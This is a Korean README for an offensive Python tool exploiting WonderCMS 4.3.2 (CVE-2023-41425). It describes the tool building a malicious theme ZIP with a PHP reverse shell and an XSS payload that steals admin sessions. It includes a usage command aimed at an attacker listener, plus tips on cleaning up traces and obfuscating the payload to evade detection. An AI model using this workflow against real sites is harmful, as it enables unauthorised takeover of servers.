🚨 WonderCMS RCE 익스플로잇 도구 (CVE-2023-41425)

이 Python 기반 공격 보안 도구는 WonderCMS 4.3.2의 원격 코드 실행(RCE) 취약점(CVE-2023-41425)을 자동으로 익스플로잇합니다. 악성 ZIP 테마 모듈을 제작하고 JavaScript 기반 XSS 페이로드를 전달하여 관리자 세션을 탈취하고 PHP 리버스 셸을 배포하는 과정을 간소화합니다.

⚠️ 교육 및 승인된 보안 테스트 목적으로만 사용하세요.

📚 목차

• ⚙️ 기능
• 📥 설치 및 요구 사항
• 🚀 사용 예제
• 🧾 인수 참조
• 🧠 상세 워크플로우
• 🔐 보안 참고 사항
• 📝 라이선스 및 저작자 표시

⚙️ 기능

• 내장 PHP 리버스 셸이 포함된 무기화된 ZIP 아카이브 생성
• 관리자 세션을 탈취하기 위한 JavaScript 기반 XSS 페이로드 제작
• CSRF 토큰 추출 및 모듈 설치 과정 자동화
• 익스플로잇 파일을 호스팅하기 위한 로컬 HTTP 서버 실행
• Kali Linux, ParrotOS, Python 3.6+와 호환

📥 설치 및 요구 사항

🔧 요구 사항

• Python 3.6+
• Linux 및 macOS 호환
• Kali Linux에서 테스트됨

📦 종속성

이 스크립트는 Python 표준 라이브러리만 사용합니다. 외부 패키지가 필요하지 않습니다.

🛠 설치

UNIX

wget https://github.com/Tea-On/CVE-2023-41425-RCE-WonderCMS-4.3.2/archive/refs/heads/main.zip

unzip main.zip

cd CVE-2023-41425-RCE-WonderCMS-4.3.2-main

Windows

git clone https://github.com/Tea-On/CVE-2023-41425-RCE-WonderCMS-4.3.2.git

cd ./CVE-2023-41425-RCE-WonderCMS-4.3.2

🚀 사용 예제

💻 Bash

python3 exploit_CVE-2023-41425.py -u http://target/index.php?page=loginURL -H 192.168.0.100 -p 4444 -r reverseShell.php

🪟 PowerShell (WSL 권장)

python3 exploit_CVE-2023-41425.py -u http://target/index.php?page=loginURL -H 192.168.0.100 -p 4444 -r ./reverseShell.php

🧾 인수 참조

🧠 상세 워크플로우

스크립트가 내부적으로 수행하는 작업을 설명합니다:

1. 인수 파싱:

   • argparse를 사용하여 공격자로부터 필수 및 선택적 입력을 수집합니다.

2. 리버스 셸 준비:

   • 제공된 PHP 리버스 셸을 읽습니다.
   • $ip 및 $port 플레이스홀더를 입력받은 -H 및 -p 값으로 대체합니다.

3. 악성 ZIP 생성:

   • <dir_name>/<php_reverse_shell.php> 형태의 디렉토리 구조를 생성합니다.
   • 이를 <zip_name>.zip으로 압축합니다.

4. XSS 페이로드 (script.js) 생성:

   • 대상 로그인 페이지에서 DOM 파싱을 통해 CSRF 토큰을 추출합니다.
   • 호스팅된 ZIP을 사용하는 모듈 설치 URL을 구성합니다.
   • 악성 테마를 설치하여 리버스 셸을 트리거합니다.

5. 지침 및 익스플로잇 호스팅:

   • nc 리스너 명령어를 출력합니다.
   • 전체 XSS 전달 URL을 표시합니다.
   • ZIP 및 JS 파일을 호스팅하기 위한 간단한 HTTP 서버를 실행합니다.

🔐 보안 참고 사항

• 🧹 정리: 사용 후 생성된 ZIP, JS 페이로드 및 HTTP 서버 로그를 항상 제거하세요.
• 👀 탐지: 익스플로잇은 WonderCMS에 기록되거나 WAF에 의해 탐지될 수 있습니다.
• 🧪 책임감 있는 테스트: 명시적으로 테스트 권한이 부여된 시스템만 대상으로 하세요.
• 🔒 리버스 셸 강화: 탐지를 회피하기 위해 PHP 페이로드를 난독화하거나 암호화하는 것을 고려하세요.

📝 라이선스 및 저작자 표시

이 도구는 MIT 라이선스에 따라 제공됩니다.
🔥 by TeaOnHack🧋 로 제작되었습니다.

• CVE 참조: CVE-2023-41425
• WonderCMS: https://www.wondercms.com/

이 프로젝트는 교육 및 승인된 보안 평가 목적으로만 사용됩니다. 저자는 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.